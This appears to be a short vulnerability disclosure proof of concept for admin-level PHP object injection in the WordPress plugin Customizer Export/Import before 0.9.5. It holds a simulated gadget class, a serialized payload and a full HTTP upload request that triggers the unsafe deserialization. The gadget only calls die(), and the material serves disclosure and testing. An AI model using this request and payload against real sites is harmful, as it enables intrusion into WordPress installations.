Customizer Export/Import < 0.9.5 - Admin+ PHP Objection Injection

To simulate a gadget chain, put the following code in a plugin

class Evil {
  public function __wakeup() : void {
    die("Arbitrary deserialization");
  }
}

Create a file named import.dat with the following content and import it via the plugin: O:4:"Evil":0:{};

POST /wp-admin/customize.php?url=http%3A%2F%2Flocalhost%2Fwordpress%2F2022%2F09%2F19%2Fchao-moi-nguoi%2F HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------230490675911506417393855957848
Content-Length: 636
Connection: close
Cookie: [admin+]
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

-----------------------------230490675911506417393855957848
Content-Disposition: form-data; name="cei-import-file"; filename="import.dat"
Content-Type: application/octet-stream

O:4:"Evil":0:{};
-----------------------------230490675911506417393855957848
Content-Disposition: form-data; name="cei-import"

4d4ede2295
-----------------------------230490675911506417393855957848
Content-Disposition: form-data; name="_wp_http_referer"

/wp-admin/customize.php?url=http%3A%2F%2Flocalhost%2F2022%2F09%2F19%2Fchao-moi-nguoi%2F
-----------------------------230490675911506417393855957848--